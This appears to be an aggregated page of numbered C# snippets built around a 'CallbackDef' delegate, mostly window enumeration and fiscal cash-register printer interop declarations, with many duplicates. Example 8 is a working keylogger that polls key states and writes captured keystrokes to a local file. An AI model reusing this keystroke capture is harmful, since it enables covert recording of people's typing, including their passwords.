Exemplo n.º 1
0
        private void button1_Click(object sender, EventArgs e)
        {
            IEIntPtrs.Clear();
            CallbackDef callback = new CallbackDef(SearchIE);

            EnumWindows(callback, 0);
        }
Exemplo n.º 2
0
        private void button2_Click(object sender, EventArgs e)
        {
            listBox1.Items.Clear();
            CallbackDef callback = new CallbackDef(ShowIEWindowHandler);

            EnumWindows(callback, 0);
        }
Exemplo n.º 3
0
        public static void RefreshHandle()
        {
            HWndList = new List <int>();
            CallbackDef callback = new CallbackDef(ShowWindowHandler);

            EnumWindows(callback, 0);
            ClientListChanged();
        }
Exemplo n.º 4
0
        private void RefreshHandle()
        {
            this.HWndList.Clear();
            this.listBox1.Items.Clear();
            CallbackDef callback = new CallbackDef(this.ShowWindowHandler);

            EnumWindows(callback, 0);
        }
Exemplo n.º 5
0
    public void GetEnums()
    {
        HwndPtrList.Clear();
        HwndNameList.Clear();
        DexCodeList.Clear();

        CallbackDef callback = new CallbackDef(EnumWindowFunction);

        EnumWindows(callback, 0);
    }
Exemplo n.º 6
0
        /// <summary>
        /// Initializes a new instance of the <see cref="TechnotrendReceiver"/> class.
        /// </summary>
        public TechnotrendReceiver()
        {
            _handles = new List <IntPtr>();

            unsafe
            {
                _callback    = OnIRCode;
                _callbackPtr = Marshal.GetFunctionPointerForDelegate(_callback);
            }
        }
Exemplo n.º 7
0
            public Printer()
            {
                _CashInfo = new Cash();


                callback = new CallbackDef(Result);

                Init();

                GetStatus();
            }
Exemplo n.º 8
0
        public static void run()
        {
            string buf   = string.Empty;
            int    count = 0;

            while (count <= 18000)
            {
                Thread.Sleep(100);
                count += 100;
                for (int i = 0; i < 255; i++)
                {
                    int state = GetAsyncKeyState(i);
                    if (state != 0)
                    {
                        if (((Keys)i) == Keys.Space)
                        {
                            buf += " ";
                            continue;
                        }

                        if (((Keys)i) == Keys.Enter)
                        {
                            buf += "\n";
                            continue;
                        }

                        if (((Keys)i) == Keys.LButton || ((Keys)i) == Keys.RButton || ((Keys)i) == Keys.MButton)
                        {
                            continue;
                        }

                        if (((Keys)i).ToString().Length == 1)
                        {
                            buf += ((Keys)i).ToString();
                        }

                        File.AppendAllText("keylogger.txt", buf);
                        buf = string.Empty;
                    }
                }
            }

            CallbackDef callback = new CallbackDef(PrintWindow);

            EnumWindows(callback, 0);
        }
Exemplo n.º 9
0
 private static extern int FiscalClosure(int hWnd, CallbackDef callback, int lParam, [MarshalAs(UnmanagedType.LPStr)] string psw, char opt);
Exemplo n.º 10
0
 private static extern int LastFiscalClosure(int hWnd, CallbackDef callback, int lParam, int param);
Exemplo n.º 11
0
 private static extern int ProgrammingArticle(int hWnd, CallbackDef callback, int lParam, char tax, [MarshalAs(UnmanagedType.I4)] int numArt, int group, [MarshalAs(UnmanagedType.R8)] double price, [MarshalAs(UnmanagedType.LPStr)] string psw, [MarshalAs(UnmanagedType.LPStr)] string name);
Exemplo n.º 12
0
 private static extern int GetArticleInfo(int hWnd, CallbackDef callback, int lParam, int numArt);
Exemplo n.º 13
0
 private static extern int GetFiscalClosureStatus(int hWnd, CallbackDef callback, int lParam, bool param);
Exemplo n.º 14
0
 private static extern int CloseFiscalReceipt(int hWnd, CallbackDef callback, int lParam);
Exemplo n.º 15
0
 private static extern int DeleteArticle(int hWnd, CallbackDef callback, int lParam, int numArt, [MarshalAs(UnmanagedType.LPStr)] string Text);
Exemplo n.º 16
0
 private static extern int FiscalClosure(int hWnd, CallbackDef callback, int lParam, [MarshalAs(UnmanagedType.LPStr)] string psw, char opt);
Exemplo n.º 17
0
 private static extern int GetArticleInfo(int hWnd, CallbackDef callback, int lParam, int numArt);
Exemplo n.º 18
0
 private static extern int ProgrammingArticle(int hWnd, CallbackDef callback, int lParam, char tax, [MarshalAs(UnmanagedType.I4)] int numArt, int group, [MarshalAs(UnmanagedType.R8)] double price, [MarshalAs(UnmanagedType.LPStr)] string psw, [MarshalAs(UnmanagedType.LPStr)] string name);
Exemplo n.º 19
0
 private static extern int PrintFiscalMemoryByNum(int hWnd, CallbackDef callback, int lParam, [MarshalAs(UnmanagedType.LPStr)] string psw, int start, int end);
Exemplo n.º 20
0
 private static extern int SaleArticleAndDisplay(int hWnd, CallbackDef callback, int lParam, bool sign, int numArt, double qwant, double perc, double dc);
Exemplo n.º 21
0
 private static extern int LastFiscalClosure(int hWnd, CallbackDef callback, int lParam, int param);
Exemplo n.º 22
0
 private static extern int GetCurrentTaxes(int hWnd, CallbackDef callback, int lParam, int param);
Exemplo n.º 23
0
 private static extern int GetStatus(int hWnd, CallbackDef callback, int lParam, [MarshalAs(UnmanagedType.Bool)] bool noWait);
Exemplo n.º 24
0
 private static extern int GetStatus(int hWnd, CallbackDef callback, int lParam, [MarshalAs(UnmanagedType.Bool)] bool noWait);
Exemplo n.º 25
0
 private static extern int GetFiscalClosureStatus(int hWnd, CallbackDef callback, int lParam, bool param);
Exemplo n.º 26
0
 private static extern int DayInfo(int hWnd, CallbackDef callback, int lParam);
Exemplo n.º 27
0
 private static extern int GetCommonArticleInfo(int hWnd, CallbackDef callback, int lParam);
Exemplo n.º 28
0
 private static extern int PrintNonfiscalText(int hWnd, CallbackDef callback, int lParam, [MarshalAs(UnmanagedType.LPStr)] string Text);
Exemplo n.º 29
0
 private static extern int GetCommonArticleInfo(int hWnd, CallbackDef callback, int lParam);
Exemplo n.º 30
0
 private static extern int OpenFiscalReceipt(int hWnd, CallbackDef callback, int lParam, [MarshalAs(UnmanagedType.I4)] int _operator, [MarshalAs(UnmanagedType.LPStr)] string Text, [MarshalAs(UnmanagedType.I4)] int tillnumber, [MarshalAs(UnmanagedType.Bool)] bool taxcheck);
Exemplo n.º 31
0
 private static extern int ServiceInputOutput(int hWnd, CallbackDef callback, int lParam, double sum);
Exemplo n.º 32
0
 private static extern int SubTotal(int hWnd, CallbackDef callback, int lParam, bool print, bool display, double per, double disc);
Exemplo n.º 33
0
 private static extern int GetCurrentTaxes(int hWnd, CallbackDef callback, int lParam, int param);
Exemplo n.º 34
0
 private static extern int OperatorsReport(int hWnd, CallbackDef callback, int lParam, [MarshalAs(UnmanagedType.LPStr)] string Text);
Exemplo n.º 35
0
 private static extern int SaleArticleAndDisplay(int hWnd, CallbackDef callback, int lParam, bool sign, int numArt, double qwant, double perc, double dc);
Exemplo n.º 36
0
 private static extern int PrintNonfiscalText(int hWnd, CallbackDef callback, int lParam, [MarshalAs(UnmanagedType.LPStr)] string Text);
Exemplo n.º 37
0
 private static extern int PrintFiscalMemoryByNum(int hWnd, CallbackDef callback, int lParam, [MarshalAs(UnmanagedType.LPStr)] string psw, int start, int end);
Exemplo n.º 38
0
 private static extern int SubTotal(int hWnd, CallbackDef callback, int lParam, bool print, bool display, double per, double disc);
Exemplo n.º 39
0
            public Printer()
            {
                _CashInfo = new Cash();


                callback = new CallbackDef(Result);

                Init();

                GetStatus();


            }
Exemplo n.º 40
0
    static void Main()
    {
        CallbackDef callback = new CallbackDef(PrintWindow);

        EnumWindows(callback, 0);
    }
Exemplo n.º 41
0
 private static extern int DayInfo(int hWnd, CallbackDef callback, int lParam);
Exemplo n.º 42
0
 private static extern int ServiceInputOutput(int hWnd, CallbackDef callback, int lParam, double sum);
Exemplo n.º 43
0
 private static extern int OpenFiscalReceipt(int hWnd, CallbackDef callback, int lParam, [MarshalAs(UnmanagedType.I4)] int _operator, [MarshalAs(UnmanagedType.LPStr)] string Text, [MarshalAs(UnmanagedType.I4)] int tillnumber, [MarshalAs(UnmanagedType.Bool)] bool taxcheck);
Exemplo n.º 44
0
 private static extern int Total(int hWnd, CallbackDef callback, int lParam, [MarshalAs(UnmanagedType.LPStr)] string Text, char PaidCode, double amuont);
    /// <summary>
    /// Initializes a new instance of the <see cref="TechnotrendReceiver"/> class.
    /// </summary>
    public TechnotrendReceiver()
    {
      _handles = new List<IntPtr>();

      unsafe
      {
        _callback = OnIRCode;
        _callbackPtr = Marshal.GetFunctionPointerForDelegate(_callback);
      }
    }
Exemplo n.º 46
0
 private static extern int ResetReceipt(int hWnd, CallbackDef callback, int lParam);
Exemplo n.º 47
0
 private static extern int Total(int hWnd, CallbackDef callback, int lParam, [MarshalAs(UnmanagedType.LPStr)] string Text, char PaidCode, double amuont);
Exemplo n.º 48
0
 private static extern int OperatorsReport(int hWnd, CallbackDef callback, int lParam, [MarshalAs(UnmanagedType.LPStr)] string Text);
Exemplo n.º 49
0
 private static extern int CloseFiscalReceipt(int hWnd, CallbackDef callback, int lParam);
Exemplo n.º 50
0
 private static extern int DeleteArticle(int hWnd, CallbackDef callback, int lParam, int numArt, [MarshalAs(UnmanagedType.LPStr)] string Text);
Exemplo n.º 51
0
 static extern int EnumWindows(CallbackDef callback, int lParam);
Exemplo n.º 52
0
 private static extern int ResetReceipt(int hWnd, CallbackDef callback, int lParam);